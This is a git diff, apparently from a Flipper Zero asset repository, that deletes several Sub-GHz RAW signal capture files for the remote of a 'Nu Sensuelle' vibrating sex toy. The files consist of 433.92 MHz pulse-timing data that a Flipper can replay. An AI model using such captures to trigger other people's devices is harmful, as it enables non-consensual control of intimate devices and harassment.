5559 -66 595 -100 5887 -100 399 -66 797 -132 1167 -100 797 -100 3893 -66 331 -68 1657 -68 1027 -132 1293 -64 627 -100 627 -102 2289 -66 1267 -168 1627 -166 2947 -64 1285 -100 4943 -98 397 -66 133 -66 199 -100 993 -66 167 -66 731 -132 2231 -66 1291 -134 1627 -66 629 -66 499 -98 4191 -66 831 -134 563 -328 967 -200 1497 -66 4643 -66 557 -66 1117 -100 599 -100 929 -66 399 -198 97 -68 2317 -66 1681 -98 2069 -132 527 -134 1031 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub deleted file mode 100644 index 74055fcb1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 963 -66 2813 -66 895 -66 995 -66 895 -100 2817 -66 723 -77 2811 -132 1381 -66 2879 -68 497 -134 467 -98 963 -100 695 -166 5887 -66 1193 -66 931 -134 1261 -66 1657 -66 333 -100 2155 -66 5269 -66 1787 -100 1249 -100 195 -66 4317 -66 199 -66 331 -68 1063 -232 1761 -98 1391 -134 133 -100 2747 -66 461 -100 297 -66 499 -66 4941 -132 565 -100 197 -66 2535 -66 361 -64 195 -66 625 -166 195 -66 521 -66 11367 -66 3521 -134 1755 -66 929 -198 131 -64 733 -66 1149 -64 1085 -66 1411 -100 1127 -202 595 -66 265 -66 401 -68 3195 -66 787 -98 4405 -66 2181 -98 65 -100 165 -100 1955 -68 1495 -66 9409 -66 1001 -100 2777 -100 2627 -134 1155 -100 265 -134 499 -66 1225 -132 1361 -66 3219 -66 499 -66 2497 -66 3129 -294 197 -66 397 -66 935 -66 167 -166 265 -168 1759 -100 7947 -234 1929 -264 695 -132 1743 -66 1323 -100 1327 -66 1295 -134 2331 -66 3767 -66 99 -200 1257 -66 2151 -166 965 -100 197 -168 1391 -100 597 -100 65 -68 529 -66 1819 -100 1391 -100 2229 -66 5905 -166 231 -134 465 -66 399 -132 4383 -68 727 -66 729 -100 961 -132 599 -66 3455 -100 365 -66 3583 -100 2123 -166 1297 -66 1977 -66 5359 -68 961 -66 2995 -134 327 -66 1053 -98 2427 -100 1127 -100 961 -66 329 -98 751 -198 627 -68 3729 -100 1193 -134 2045 -68 265 -66 463 -100 65 -100 565 -98 231 -66 1979 -66 299 -232 11317 -66 1895 -98 163 -66 687 -98 529 -98 1315 -66 627 -66 1549 -64 427 -100 131 -262 499 -136 1099 -134 1559 -100 1293 -98 767 -66 3451 -66 1053 -268 165 -68 1227 -98 3839 -100 731 -100 1693 -66 397 -100 3307 -100 163 -66 3189 -66 561 -68 333 -98 2437 -98 6151 -66 665 -98 1265 -98 603 -100 4439 -134 299 -68 497 -132 793 -132 665 -66 1657 -132 597 -164 7767 -166 3353 -66 3085 -66 391 -198 4785 -66 2453 -134 3223 -66 165 -66 2681 -64 785 -66 1021 -64 1319 -66 2747 -98 2891 -66 1459 -100 261 -100 865 -100 693 -98 3847 -98 393 -66 1119 -64 3123 -130 2349 -100 3119 -100 233 -66 1159 -100 161 -262 657 -130 625 -66 663 -132 755 -66 3213 -98 2073 -98 491 -66 2733 -66 1725 -68 2047 -66 3521 -66 559 -98 2965 -98 987 -66 557 -130 1883 -100 2231 -98 7303 -68 265 -66 467 -100 961 -132 965 -98 265 -100 1001 -66 4143 -66 869 -132 635 -68 1397 -98 2023 -100 2723 -98 131 -64 9071 -66 423 -100 327 -98 1755 -68 827 -66 229 -64 2679 -66 1953 -66 97 -66 327 -166 391 -66 1741 -100 2023 -98 2495 -102 1825 -66 731 -98 -RAW_Data: 2111 -66 2093 -66 465 -66 5069 -66 263 -260 4847 -100 961 -100 3435 -98 833 -100 697 -66 497 -132 4631 -852 421 -844 399 -880 385 -854 423 -872 383 -852 437 -846 425 -854 1671 -450 415 -410 421 -424 445 -416 409 -436 417 -448 387 -852 425 -444 383 -448 427 -416 407 -422 443 -416 407 -856 447 -416 413 -422 411 -446 417 -868 379 -882 395 -436 417 -846 405 -456 387 -876 411 -418 413 -876 417 -424 411 -840 417 -848 437 -848 425 -852 415 -866 413 -844 407 -884 383 -876 399 -880 385 -868 1669 -450 385 -444 425 -426 441 -416 411 -438 387 -446 415 -852 425 -440 383 -450 393 -450 411 -426 443 -842 405 -424 441 -414 417 -430 395 -868 417 -420 439 -824 417 -446 421 -854 411 -416 445 -846 411 -418 449 -848 411 -420 415 -848 437 -846 421 -854 381 -886 397 -866 417 -848 433 -846 419 -836 413 -854 423 -840 1715 -386 447 -416 409 -440 415 -418 417 -442 407 -446 409 -866 417 -416 413 -422 409 -448 415 -408 437 -844 423 -416 411 -424 443 -414 411 -850 415 -414 449 -854 411 -420 415 -846 441 -418 417 -846 435 -388 443 -842 405 -442 413 -840 441 -846 387 -886 387 -876 409 -854 415 -846 427 -854 413 -856 423 -840 415 -876 1671 -418 433 -428 439 -382 445 -418 417 -448 387 -446 413 -854 427 -410 199 -396 417 -416 417 -452 303 -950 415 -452 405 -424 443 -414 413 -848 349 -508 419 -842 439 -450 377 -848 415 -416 445 -846 415 -418 417 -880 413 -418 415 -846 439 -846 419 -820 421 -874 409 -868 419 -844 433 -814 415 -862 409 -850 409 -870 1705 -416 417 -416 441 -396 421 -446 415 -418 433 -394 439 -842 423 -410 447 -414 407 -436 415 -418 417 -888 385 -446 415 -420 429 -418 413 -854 413 -416 437 -850 413 -420 433 -822 441 -420 427 -854 409 -416 455 -814 415 -452 409 -850 411 -856 425 -838 421 -848 441 -848 421 -820 421 -876 413 -842 415 -840 429 -852 1701 -420 383 -454 427 -396 439 -414 447 -416 407 -448 411 -836 441 -418 417 -418 437 -426 441 -382 445 -850 415 -418 417 -418 437 -428 415 -848 413 -422 439 -850 411 -420 425 -840 439 -430 387 -872 407 -440 417 -850 409 -418 451 -113004 267 -166 99 -832 65 -100 193 -360 329 -130 131 -132 163 -100 723 -66 1965 -100 495 -66 1527 -166 133 -66 1823 -66 1843 -132 395 -64 5001 -98 1295 -66 799 -100 263 -98 919 -100 1911 -64 361 -98 2829 -100 425 -196 293 -100 623 -66 821 -100 6649 -66 1027 -98 2779 -396 233 -166 2173 -64 131 -100 327 -64 2037 -132 1423 -66 -RAW_Data: 4449 -66 2181 -66 995 -66 1095 -100 131 -68 529 -66 5871 -66 5303 -66 9525 -98 3573 -98 261 -98 195 -98 3831 -66 3389 -64 1913 -64 4873 -164 855 -130 99 -66 197 -98 1875 -66 3105 -166 4225 -66 5871 -66 755 -130 3227 -66 10483 -66 11155 -102 1525 -100 1181 -166 2047 -200 1393 -68 297 -68 331 -68 927 -100 3547 -394 163 -164 1577 -66 197 -66 1645 -66 1351 -100 2455 -100 2525 -68 333 -100 1521 -66 231 -194 2991 -66 1615 -100 793 -100 531 -100 3051 -98 1579 -68 2269 -66 165 -100 3033 -66 897 -98 6899 -98 1319 -66 167 -66 231 -66 301 -100 1561 -132 131 -134 861 -100 667 -198 2867 -66 1547 -130 495 -100 99 -100 1227 -130 1311 -66 229 -132 2127 -66 1165 -66 2121 -134 97 -98 6107 -66 1097 -66 993 -66 629 -102 1757 -66 229 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub deleted file mode 100644 index 5d5cf6936..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -232 2803 -66 2211 -100 2477 1577 2483 -100 663 -66 165 -66 995 -66 1709 -98 2435 -166 7341 -68 2693 -68 433 -100 1689 -100 731 -68 827 -132 233 -64 1827 -66 1323 -66 9217 -68 363 -102 561 -100 1557 -98 757 -66 889 -66 663 -132 589 -66 597 -68 1351 -66 265 -168 201 -102 459 -132 199 -100 3385 -68 2651 -66 2727 -66 1065 -298 433 -66 2701 -66 1741 -134 1123 -98 8331 -66 2085 -98 1673 -68 197 -166 1127 -98 2397 -98 4115 -230 629 -66 2791 -66 2975 -100 5401 -98 3287 -132 1807 -196 1095 -132 2213 -66 1641 -66 4407 -100 2385 -98 555 -66 293 -98 981 -66 3901 -98 731 -330 1229 -130 131 -66 1131 -66 401 -100 1491 -66 855 -66 923 -66 2075 -98 2391 -198 2693 -66 8783 -66 691 -100 893 -100 567 -100 1717 -66 4057 -132 1295 -100 3917 -98 459 -100 961 -66 3999 -100 2717 -132 163 -100 1807 -66 625 -132 165 -66 397 -98 735 -66 467 -100 165 -102 231 -266 11403 -66 3485 -198 3489 -66 2721 -66 529 -66 227 -66 7281 -98 3049 -66 831 -66 1825 -66 1559 -66 1755 -66 993 -100 331 -64 1557 -132 2591 -66 1493 -132 4187 -98 921 -98 3563 -66 831 -68 561 -66 995 -100 1119 -132 227 -66 1753 -100 1627 -68 1033 -98 1157 -132 1517 -134 431 -100 2019 -66 2261 -134 625 -132 401 -234 1707 -68 1989 -66 99 -166 6781 -66 495 -100 4683 -68 733 -168 1595 -98 301 -66 10789 -68 365 -66 1649 -66 65 -98 1745 -100 67 -166 6839 -66 65 -66 767 -132 329 -132 5197 -98 1601 -66 725 -98 983 -100 131 -66 3575 -100 1227 -98 427 -66 393 -66 2229 -66 593 -164 953 -68 465 -200 727 -100 2829 -128 4965 -68 1021 -134 2391 -66 1493 -66 993 -100 65 -68 6459 -166 7835 -134 529 -68 1391 -66 1259 -66 2801 -132 2405 -98 3911 -66 197 -132 1185 -66 5065 -196 229 -66 1999 -98 991 -64 1973 -132 1513 -132 1709 -132 591 -130 4085 -66 299 -66 265 -66 133 -66 6667 -232 629 -132 365 -100 391 -66 1051 -66 4139 -234 1093 -66 697 -100 10401 -66 499 -66 767 -68 3051 -66 833 -68 863 -68 233 -100 793 -66 1051 -66 3123 -66 533 -100 4685 -264 465 -132 1293 -198 1693 -66 561 -98 465 -100 1059 -100 1319 -98 2281 -202 893 -66 1533 -66 2725 -66 99 -98 3355 -132 1587 -68 6999 -98 3141 -134 633 -66 1357 -66 2171 -98 1085 -68 829 -68 1427 -66 4605 -66 2721 -100 795 -66 265 -130 4685 -166 1195 -100 395 -66 629 -66 597 -68 3125 -846 415 -842 437 -838 427 -856 413 -852 395 -866 415 -876 409 -838 1681 -446 417 -428 405 -414 443 -422 429 -408 417 -RAW_Data: -448 423 -822 417 -448 425 -396 437 -416 445 -416 411 -874 379 -446 411 -444 415 -418 397 -872 413 -440 433 -848 419 -414 409 -850 415 -452 403 -852 413 -418 433 -854 413 -452 399 -854 413 -854 429 -836 417 -850 435 -846 387 -886 385 -876 413 -848 413 -844 425 -850 1699 -420 415 -442 411 -416 415 -454 409 -442 383 -448 393 -888 387 -446 415 -444 395 -424 441 -414 407 -850 447 -846 399 -426 409 -448 411 -848 413 -876 397 -882 383 -444 409 -844 427 -426 407 -878 399 -426 409 -876 401 -426 443 -846 399 -882 383 -854 423 -874 411 -850 413 -844 421 -836 417 -868 413 -836 411 -850 1711 -414 411 -454 379 -446 415 -444 395 -426 443 -416 411 -854 413 -448 409 -434 385 -446 415 -452 401 -854 415 -870 387 -442 385 -450 397 -858 411 -882 397 -870 417 -418 407 -852 449 -416 411 -852 415 -418 415 -882 407 -418 413 -850 407 -882 387 -884 387 -874 411 -846 413 -876 395 -852 413 -870 381 -884 397 -864 1699 -418 415 -452 379 -472 383 -448 389 -450 407 -428 407 -878 395 -424 441 -416 417 -426 411 -446 415 -834 413 -876 417 -422 411 -442 383 -882 399 -864 417 -846 399 -422 443 -846 405 -456 411 -848 403 -454 415 -844 399 -424 443 -846 403 -870 421 -854 413 -852 395 -868 417 -852 403 -872 421 -854 415 -852 393 -870 1705 -418 413 -448 399 -432 417 -448 387 -450 405 -444 413 -844 405 -444 413 -446 397 -432 413 -444 385 -894 411 -868 411 -412 413 -450 409 -872 419 -858 383 -846 437 -432 417 -844 417 -430 395 -864 419 -418 439 -856 415 -418 409 -854 415 -876 395 -848 415 -852 423 -876 409 -850 415 -844 425 -852 415 -854 427 -838 1703 -418 417 -450 409 -442 381 -450 391 -442 411 -448 407 -872 417 -418 409 -452 381 -446 415 -452 403 -852 415 -852 423 -444 413 -410 437 -844 423 -850 387 -878 417 -428 395 -864 419 -420 409 -852 417 -416 411 -880 411 -418 443 -118154 295 -298 65 -298 131 -298 99 -132 65 -200 133 -232 131 -196 131 -66 297 -100 99 -168 1827 -166 5309 -68 1565 -166 631 -66 201 -100 633 -64 3253 -132 65 -68 593 -100 2377 -64 1701 -132 327 -132 165 -68 797 -68 1063 -100 333 -66 2877 -130 721 -100 491 -66 2165 -64 891 -68 3695 -66 1813 -98 133 -66 2565 -100 293 -64 2893 -68 2125 -66 401 -100 3051 -66 459 -100 231 -68 3687 -66 165 -100 2141 -66 3927 -66 3949 -66 1491 -66 3759 -234 697 -264 895 -132 2167 -66 757 -66 557 -66 359 -66 295 -132 8863 -66 4685 -98 463 -100 99 -98 4291 -RAW_Data: -134 535 -132 16671 -100 1825 -100 463 -66 493 -98 491 -130 12079 -66 899 -196 3385 -66 17331 -132 1429 -100 2789 -98 265 -166 261 -66 13699 -98 3139 -64 9237 -66 3783 -66 1525 -100 1595 -134 1525 -98 7003 -66 427 -134 463 -132 987 -64 1487 -100 1095 -100 365 -66 961 -100 133 -200 1089 -66 1913 -98 2733 -130 327 -132 6507 -66 5715 -100 825 -98 491 -98 1973 -100 63 -66 2829 -100 399 -66 2271 -232 957 -66 269 -100 2673 -66 2553 -66 5767 -98 819 -66 4905 -132 627 -164 197 -130 327 -98 1219 -98 1955 -68 533 -66 995 -66 6295 -100 1967 -66 201 -232 893 -66 165 -132 1329 -66 99 -132 1495 -66 2193 -100 861 -66 7207 -100 429 -100 1021 -100 427 -66 523 -64 1289 -66 2131 -66 1521 -134 2189 -98 331 -100 631 -134 1363 -66 1057 -66 1063 -98 1557 -196 2909 -66 263 -100 269 -66 2013 -66 1149 -66 2271 -98 431 -66 297 -100 1595 -66 4959 -64 4129 -64 1051 -66 3369 -66 2549 -100 11697 -98 859 -66 569 -134 861 -66 197 -98 1051 -66 4133 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub deleted file mode 100644 index d3cebe209..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -230 2581 -164 4337 -66 787 -80 5597 -68 537 -132 329 -100 1285 -132 1791 -100 8193 -100 363 -132 755 -132 1493 -100 3741 -132 569 -64 1795 -166 1665 -132 433 -100 10577 -66 2153 -68 503 -68 1801 -100 1221 -100 2161 -100 861 -100 2621 -166 431 -100 1993 -66 1293 -68 533 -66 895 -98 2649 -100 2523 -66 233 -134 3379 -100 9809 -66 1033 -164 1623 -66 5501 -66 857 -100 695 -98 4445 -66 233 -100 4009 -100 5765 -98 327 -66 1129 -66 3583 -98 1163 -66 1025 -100 1891 -66 599 -100 2627 -132 4075 -132 7425 -134 399 -134 1361 -132 1911 -98 923 -66 1261 -68 2759 -66 3961 -64 8473 -66 363 -98 303 -166 2615 -64 3957 -66 1151 -68 397 -68 2015 -100 3139 -164 2393 -100 327 -98 2663 -98 99 -134 197 -98 1031 -66 3591 -232 1051 -100 4349 -196 3005 -98 2243 -132 99 -66 6693 -132 2349 -98 6449 -64 1257 -98 4847 -66 559 -66 1545 -66 785 -132 657 -66 261 -98 1941 -66 365 -102 565 -134 299 -66 863 -98 827 -98 6831 -66 623 -66 755 -98 3249 -66 1955 -66 165 -66 5463 -66 4895 -134 4805 -66 1807 -100 11631 -98 1021 -98 1215 -100 3097 -100 985 -64 1677 -98 1449 -132 1347 -98 2829 -230 497 -66 1047 -100 3419 -68 1359 -66 2831 -166 393 -98 67 -232 2031 -66 621 -132 3009 -66 199 -100 1397 -66 6901 -100 1249 -66 3479 -164 2907 -66 1627 -66 2047 -66 5807 -66 667 -100 2975 -100 1095 -66 3011 -66 3061 -98 587 -98 1839 -98 195 -164 1483 -132 297 -68 6705 -98 2573 -68 989 -134 689 -68 397 -68 101 -166 895 -100 531 -66 5275 -100 3251 -66 4351 -66 1027 -66 751 -232 329 -100 4855 -132 1001 -100 197 -66 3023 -66 1159 -100 761 -98 199 -132 829 -68 3221 -132 8361 -398 1027 -64 729 -164 195 -100 3825 -100 493 -228 1347 -134 1695 -66 2307 -98 1691 -100 2109 -100 2439 -66 1815 -100 531 -100 2911 -66 1765 -842 419 -854 409 -834 439 -822 435 -860 419 -844 403 -850 413 -854 1707 -434 387 -446 413 -420 433 -398 441 -416 417 -420 433 -860 421 -416 443 -392 441 -418 415 -454 405 -856 411 -856 395 -436 413 -452 425 -818 425 -842 449 -844 417 -416 447 -844 411 -416 451 -814 441 -418 419 -848 439 -388 449 -844 437 -844 385 -888 415 -848 411 -850 417 -842 427 -850 413 -866 409 -866 409 -850 1711 -380 445 -422 425 -412 445 -406 443 -416 419 -416 439 -840 421 -416 411 -424 441 -418 415 -832 441 -418 415 -442 431 -388 449 -842 433 -418 417 -416 441 -838 419 -418 443 -822 419 -416 445 -844 415 -414 447 -846 411 -418 447 -810 439 -844 423 -850 413 -RAW_Data: -856 425 -840 421 -846 437 -846 423 -854 411 -840 409 -878 1667 -446 413 -418 409 -448 415 -408 441 -418 417 -416 441 -840 419 -418 441 -396 453 -416 415 -838 443 -408 437 -416 417 -418 437 -864 417 -414 419 -432 409 -874 407 -432 417 -842 409 -438 417 -848 409 -436 415 -844 409 -436 419 -846 407 -848 449 -842 433 -846 419 -852 419 -846 409 -862 419 -846 435 -846 421 -818 1701 -436 387 -446 415 -420 431 -416 415 -424 445 -414 411 -848 451 -414 407 -434 417 -418 417 -866 409 -418 415 -454 401 -424 441 -810 431 -426 411 -416 445 -846 415 -414 453 -818 443 -416 417 -880 415 -418 417 -844 443 -418 417 -846 437 -844 385 -854 421 -878 421 -854 411 -844 419 -836 415 -856 425 -844 447 -846 1703 -418 405 -396 471 -382 447 -416 409 -450 411 -422 427 -820 411 -446 417 -410 449 -412 407 -864 421 -418 439 -408 415 -418 449 -834 413 -454 403 -424 443 -808 431 -426 445 -844 401 -424 447 -842 431 -388 447 -844 437 -390 447 -846 433 -806 451 -824 443 -822 437 -830 451 -838 429 -836 421 -826 445 -842 425 -840 1701 -416 445 -384 439 -414 445 -420 423 -410 449 -414 407 -870 421 -416 443 -392 441 -418 417 -868 411 -420 427 -410 445 -382 445 -850 415 -416 445 -414 409 -842 453 -390 435 -866 421 -416 411 -852 419 -416 453 -814 443 -416 449 -136614 265 -1130 265 -500 165 -566 99 -200 165 -100 1655 -66 999 -100 65 -98 931 -132 1293 -100 3649 -100 1263 -166 4333 -132 923 -132 263 -100 297 -68 929 -66 697 -132 4019 -66 5755 -68 2649 -130 565 -98 657 -66 6653 -66 1629 -66 733 -100 3337 -66 1295 -200 529 -66 2611 -98 4759 -100 2583 -66 1319 -98 1445 -132 4949 -66 199 -64 689 -168 933 -98 3681 -130 1193 -166 1529 -66 1459 -132 5203 -100 1027 -66 165 -134 827 -132 1647 -66 1225 -68 4179 -68 1923 -98 201 -100 1565 -66 265 -66 1761 -100 1389 -100 4017 -68 1427 -98 951 -98 1051 -68 1359 -66 1745 -66 499 -100 759 -100 3187 -100 2821 -66 2099 -100 929 -130 731 -68 3951 -66 959 -100 4939 -68 4975 -66 5705 -68 6971 -130 1291 -66 591 -164 731 -102 763 -66 1591 -164 2345 -166 817 -66 3621 -68 1327 -198 65 -100 693 -66 7967 -198 197 -66 327 -98 651 -66 1449 -68 2301 -66 949 -100 129 -66 663 -100 2145 -66 1283 -66 3395 -66 2401 -68 393 -66 2379 -68 663 -100 1589 -66 365 -64 3085 -66 267 -100 465 -132 1401 -68 8227 -164 427 -164 3739 -66 463 -66 199 -68 1401 -100 231 -168 1155 -200 165 -100 2153 -98 1131 -68 2307 -RAW_Data: -66 493 -100 885 -164 6889 -132 363 -134 227 -100 3187 -66 1589 -68 997 -68 5599 -98 8091 -68 263 -66 699 -66 523 -196 63 -132 3189 -66 7549 -66 597 -100 2987 -132 799 -166 197 -166 97 -66 695 -134 959 -100 8481 -66 1821 -100 267 -66 4281 -66 2851 -66 3083 -100 199 -132 2583 -66 735 -166 923 -66 823 -132 1625 -102 131 -102 3087 -66 2129 -100 2151 -100 165 -98 8019 -132 2889 -166 163 -100 1185 -66 663 -134 731 -66 7079 -66 365 -100 365 -68 923 -100 329 -66 1907 -100 1451 -66 261 -64 821 -132 4849 -98 695 -98 801 -98 267 -132 3485 -100 1087 -132 993 -100 2355 -132 1589 -98 327 -100 1841 -66 329 -266 165 -100 399 -198 3317 -132 2875 -98 919 -166 4511 -132 335 -66 1455 -134 927 -66 535 -66 397 -134 1295 -98 5761 -66 365 -132 4089 -68 663 -166 165 -98 2413 -66 599 -66 597 -98 65 -132 1545 -66 801 -132 1551 -66 2543 -100 4563 -66 961 -200 1259 -68 1491 -66 6129 -68 4623 -100 99 -68 133 -66 399 -66 295 -98 1451 -236 233 -66 299 -66 961 -266 297 -100 6597 -66 987 -132 1245 -66 163 -98 65 -132 1149 -98 261 -66 1225 -100 233 -228 921 -132 555 -66 2999 -132 97 -132 559 -98 6665 -66 785 -100 719 -66 2323 -132 1761 -166 4391 -98 687 -100 265 -134 163 -100 861 -100 5787 -398 3117 -68 1181 -66 3387 -132 1199 -66 99 -68 627 -66 231 -68 601 -66 165 -100 565 -134 1323 -100 465 -134 859 -134 2791 -168 1563 -130 165 -98 3205 -168 5613 -168 231 -66 1955 -98 235 -132 5201 -66 3747 -66 497 -102 65 -66 165 -166 2517 -66 927 -66 1583 -66 1595 -132 2495 -98 1033 -66 133 -200 363 -132 769 -66 4153 -66 1793 -98 2391 -232 397 -98 827 -134 561 -66 3693 -200 591 -66 1283 -98 3741 -100 531 -98 499 -100 895 -66 991 -98 2107 -98 129 -98 591 -98 557 -130 693 -66 231 -98 557 -98 1313 -66 133 -66 131 -66 891 -64 2793 -66 2011 -100 527 -68 363 -100 233 -100 699 -66 267 -132 1181 -64 2535 -100 4299 -98 1129 -66 297 -66 197 -100 1893 -66 567 -66 1263 -100 97 -100 3015 -296 3647 -68 465 -198 67 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub deleted file mode 100644 index 5cd7cec1e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 2145 -66 959 -66 3223 -132 363 -504 1313 -132 197 -66 2089 -66 2609 -66 887 -64 3593 -98 231 -66 1633 -100 931 -66 133 -66 961 -132 2731 -66 1877 -100 623 -98 131 -66 2943 -98 195 -100 233 -100 333 -66 1829 -66 1409 -130 2923 -98 1951 -66 299 -100 1563 -100 3349 -100 763 -132 2595 -66 1125 -100 2553 -100 8665 -66 3949 -66 6041 -66 9963 -98 493 -66 3791 -98 2849 -66 1613 -66 2579 -164 1277 -66 131 -98 5915 -164 1875 -66 1597 -102 399 -132 1859 -134 1659 -100 97 -198 729 -134 1425 -66 4187 -164 591 -66 891 -132 1159 -166 12947 -66 1955 -66 8003 -98 2047 -66 961 -100 689 -66 261 -132 2115 -132 1061 -132 1115 -198 531 -166 697 -66 2897 -64 1973 -130 327 -98 921 -98 1513 -66 2029 -130 395 -66 133 -98 763 -134 363 -66 1095 -66 2819 -134 499 -66 1397 -66 2817 -98 231 -66 1909 -132 163 -66 5155 -100 2325 -134 327 -98 427 -164 1983 -66 1329 -66 2309 -100 3427 -132 1813 -132 885 -66 819 -66 525 -66 365 -98 3653 -98 7913 -98 463 -66 197 -134 231 -100 2955 -66 989 -68 1689 -100 365 -68 4217 -98 657 -98 1087 -100 2307 -98 297 -98 1053 -98 921 -66 889 -98 1651 -98 927 -68 2121 -68 265 -68 895 -100 893 -66 5261 -66 299 -66 563 -68 563 -134 2059 -66 763 -66 4353 -68 2419 -166 603 -66 565 -132 1097 -66 5975 -66 2107 -100 9225 -100 265 -66 895 -98 2297 -98 3615 -166 1261 -68 2651 -100 2789 -98 1083 -98 2955 -66 2155 -68 199 -66 267 -66 697 -66 99 -66 985 -98 3909 -132 755 -66 5351 -66 4791 -68 2479 -100 2995 -196 5621 -66 10063 -198 233 -200 427 -68 4281 -100 393 -100 391 -100 1577 -134 497 -200 395 -100 5361 -66 5785 -66 2389 -132 2021 -66 393 -130 4547 -98 1657 -66 1349 -66 229 -98 10897 -98 1567 -132 2123 -132 729 -66 1261 -100 133 -98 795 -298 2905 -98 3557 -100 331 -66 295 -166 4145 -66 3091 -98 633 -66 1929 -68 1423 -100 3593 -66 2457 -166 2391 -98 1799 -100 3731 -66 1427 -66 1755 -100 99 -100 1497 -66 333 -100 11959 -66 633 -66 797 -66 599 -98 363 -98 233 -100 1585 -854 415 -852 425 -838 419 -846 439 -846 417 -856 379 -850 451 -838 1707 -400 437 -418 415 -418 417 -434 425 -442 381 -450 427 -826 415 -450 423 -418 409 -422 443 -384 445 -422 409 -876 409 -438 417 -416 415 -410 439 -842 429 -852 447 -418 413 -852 415 -438 433 -844 421 -396 439 -842 427 -428 409 -844 427 -848 415 -856 425 -840 449 -842 413 -844 425 -852 409 -840 441 -846 413 -844 1707 -458 383 -418 413 -RAW_Data: -414 435 -500 365 -422 411 -420 427 -856 411 -416 421 -834 165 -432 417 -418 439 -410 455 -824 419 -418 441 -428 417 -416 415 -856 239 -72 109 -852 413 -386 445 -844 405 -424 447 -876 379 -426 411 -842 425 -412 449 -844 439 -814 447 -852 417 -848 409 -864 419 -846 405 -846 449 -818 423 -838 447 -844 1699 -418 303 -518 445 -382 451 -392 343 -516 413 -452 411 -850 411 -420 433 -852 381 -450 427 -442 419 -414 409 -858 447 -414 425 -508 337 -422 415 -856 429 -838 419 -418 441 -824 453 -382 445 -846 417 -400 449 -846 439 -388 449 -842 441 -814 449 -854 385 -874 441 -840 419 -846 441 -846 423 -854 413 -856 397 -896 1649 -426 443 -416 419 -426 411 -446 411 -420 427 -398 435 -846 131 -70 245 -412 429 -846 423 -416 413 -424 445 -412 419 -856 411 -416 451 -418 157 -64 187 -438 419 -838 413 -870 379 -452 423 -836 413 -452 403 -850 351 -506 401 -882 383 -442 411 -842 431 -946 341 -820 451 -940 341 -820 431 -854 131 -860 415 -872 67 -846 415 -838 199 -426 439 -380 437 -436 409 -414 447 -400 433 -410 447 -848 311 -538 417 -848 439 -388 447 -414 409 -454 409 -844 407 -440 417 -416 385 -448 457 -838 423 -854 413 -420 431 -958 299 -422 419 -852 425 -442 381 -870 411 -446 419 -830 447 -846 241 -822 449 -822 225 -830 441 -856 241 -830 439 -838 325 -946 413 -858 397 -442 417 -450 389 -418 431 -396 471 -512 319 -434 413 -850 441 -428 415 -848 413 -418 127 -422 417 -418 417 -854 423 -444 413 -416 419 -430 409 -842 425 -848 413 -442 409 -844 325 -66 449 -842 435 -388 447 -844 437 -390 345 -121310 67 -1762 199 -200 131 -632 97 -366 1683 -100 1863 -166 401 -66 3977 -164 887 -66 927 -98 325 -66 1521 -132 331 -66 4563 -66 395 -98 1477 -66 2245 -166 99 -98 3019 -66 1153 -66 1125 -66 2409 -66 5105 -100 4291 -64 459 -98 2073 -66 261 -98 2793 -66 1477 -66 523 -66 99 -66 4009 -134 1123 -64 6005 -66 563 -66 265 -132 3457 -166 3317 -98 955 -66 2267 -134 131 -68 5229 -66 2121 -100 595 -66 3377 -66 1585 -132 1213 -132 337 -66 1977 -66 1475 -100 491 -98 6251 -98 2473 -66 391 -100 195 -66 1639 -66 2167 -66 1609 -66 265 -66 295 -66 2125 -100 131 -100 2499 -230 9637 -134 199 -68 2889 -100 165 -134 629 -100 1455 -66 131 -68 3607 -100 231 -66 367 -66 3859 -66 1493 -134 2785 -100 1067 -100 199 -134 1325 -132 1291 -198 799 -66 4745 -68 3615 -68 1949 -98 769 -100 1097 -66 927 -98 1021 -98 2849 -132 1425 -RAW_Data: -132 361 -98 951 -100 2053 -98 1063 -132 7633 -100 501 -100 1287 -66 1459 -66 295 -66 461 -66 399 -68 959 -66 729 -66 9181 -68 7337 -66 1787 -66 823 -132 7965 -66 2909 -66 5041 -130 1935 -68 11333 -100 593 -66 1061 -64 1647 -132 4817 -66 929 -68 2795 -100 1451 -102 1255 -66 559 -66 897 -132 331 -100 631 -68 265 -100 1863 -132 2643 -100 1249 -64 2481 -66 99 -98 7935 -168 1191 -66 4957 -100 131 -132 3153 -66 199 -132 663 -66 231 -102 565 -66 2039 -66 1265 -100 1157 -100 459 -100 1089 -100 659 -66 425 -66 265 -64 1087 -132 1909 -66 849 -100 2625 